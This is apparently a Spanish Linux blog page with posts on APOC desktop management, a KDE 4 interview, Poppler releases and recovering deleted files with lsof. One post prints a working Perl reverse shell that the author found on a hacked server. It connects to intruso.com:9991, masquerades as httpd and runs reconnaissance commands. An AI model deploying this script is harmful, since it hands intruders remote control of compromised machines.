APOC: el Active Directory de Linux, ¡por fin Open Source!

apoc_.png El proyecto APOC (A Point of Control) está basado en el producto Sun Desktop Manager, desarrollado originalmente por el equipo Sun Ray de Sun Microsystems, en un esfuerzo para ofrecer la capacidad de gestión centralizada el sistema Sun Java Desktop. En 2007, SUN decidió donar y promover APOC como un proyecto opensource al proyecto FreeDesktop.org, con el objetivo de construir una comunidad alrededor de este software y extender el uso de APOC al mayor número de aplicaciones y sistemas operativos posible. Finalmente, tras 8 meses de duro trabajo liderado por Alberto Ruiz, Sun publicó el código fuente de APOC usando una licencia dual CDDL/GPLv2.

APOC ofrece funcionalidades para gestionar de forma centralizada escritorios y aplicaciones de escritorio en grandes despliegues informáticos. Permite a los administradores de sistemas distribuir de forma segura entornos de escritorio open source correctamente configurados, y optimizados en función de las necesidades y privilegios de los usuarios, basándose en roles, grupos y hosts dentro de la organización.

Con APOC, cualquier administrador de sistemas puede crear y agrupar configuraciones en forma de perfiles para las aplicaciones open source más populares y desplegar esos perfiles en sus servidores LDAP, usando la jerarquía que ya tengan definida.

El código fuente, wiki, bugzilla y lista de distribución del proyecto ya están online en apoc.freedesktop.org

Herramientas de destrucción masiva

He encontrado un regalito mientras limpiaba uno de mis servidores …. Este script Perl (lo he limpiado y descifrado un poco para que se entienda mejor) se conecta contra intruso.com (logicamente otra máquina), al puerto 9991. Allí, con netcat a la escucha en ese puerto, recibe la shell inversa del servidor pirateado. En mi servidor, el proceso aparece como /usr/sbin/httpd. Angelitos… #!/usr/bin/perl use Socket; # $spread="intruso.com"; $port="9991"; $fake="/usr/sbin/httpd"; if ($ARGV[0]) { $spread=$ARGV[0]; } $proto = getprotobyname('tcp') || die("[x] Error: getprotobyname()nn"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[x] Error: Socket()n"); if (!connect(SERVER, pack "SnA4x8", 2, $port, inet_aton($spread))) { die("[x] Failed!..n"); } if (!fork( )) { $0=$fake.""x16;; open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); system("echo [x] Uname ; uname -a ; echo ; echo [x] Uptime ; uptime ; echo ; echo [x] Id ; id ; echo"); # exec {'/bin/sh'} $fake . "" x4; # exit(0); } print "[x] shell ejecutada...n";

KDE 4: entrevista a Aaron Seigo

603px-kde_logosvg.png The Linux Link Tech Show es un podcast creado cada miércoles, con una duración de más de 2 horas cada uno de ellos, especializado en temas Linux (eso sí, en perfecto inglés, para que practiquemos 🙂 En el podcast de esta semana, podemos escuchar una entrevista a Aaron Seigo, lider del proyecto KDE, explicando cuáles son las novedades fundamentales de KDE 4 de cara al usuario final y de cara a los desarrolladores. Phonon, Solid, Plasma, y KWin compositing son algunas de las grandes novedades de este gestor de escritorio. El audio está disponible en la web de TheLinuxLinkTechShow

Poppler integra el soporte de anotaciones y formularios en PDFs

Hace 3 meses se publicó la versión 0.6 de poppler y ya se está preparando para el 18 de Febrero la RC de la 0.8 (la 0.7 será la de desarrollo). De la 0.5 a la 0.6 pasaron 20 meses. En concreto, la nueva versión incluirá los parches integrados el pasado 13 de Diciembre, donde aceptaron entre otros los parches de soporte de anotaciones de Iñigo Martínez y el de guardar el contenido de un PDF una vez modificado (por ejemplo, guardar las modificaciones realizadas en un formulario PDF) de Julian Rebetez

Albert Astals, responsable de poppler, ha propuesto el siguiente plan para la versión 0.8:

  • poppler 0.7.9 (0.8 RC1) – 18th February 2008
  • poppler 0.8 – 3rd March 2008

Si esto sigue por buen camino, es de esperar que la versión de Evince de Marzo/Abril, lleve de serie incorporadas esa dos funcionalidades que tanto echamos de menos…

Cómo recuperar un archivo borrado con lsof

¿Has borrado por equivocación un archivo? Ese mismo archivo ¿lo tienes abierto en alguna otra aplicación? (por ejemplo, estabas escuchando un ogg o un mp3 y mientras lo escuchas, sin querer, lo has borrado en lugar de moverlo a otro directorio, por ejemplo). Bien, pon en «Pause» el reproductor y no lo cierres por nada del mundo 🙂 . Ahora, usa el sistema virtual de ficheros /proc para recuperarlo:

$ cp /proc/4158/fd/4 elfichero.recuperado

(4158 es el identificador de la aplicación que todavía tiene abierto el fichero que acabas de borrar.En nuestro ejemplo, sería el identificador del player mp3. 4 es el descriptor del fichero que nos interesa (en nuestro ejemplo, el player puede tener abierto más de un fichero, 4 es el identificador que nos interesa). ¿Cómo he obtenido esos números? Con lsof:

$ lsof | grep elfichero.borrado

¿Quieres saber más al respecto? Léete este artículo de Linux.com de donde yo he sacado la información. Te hará falta en el futuro…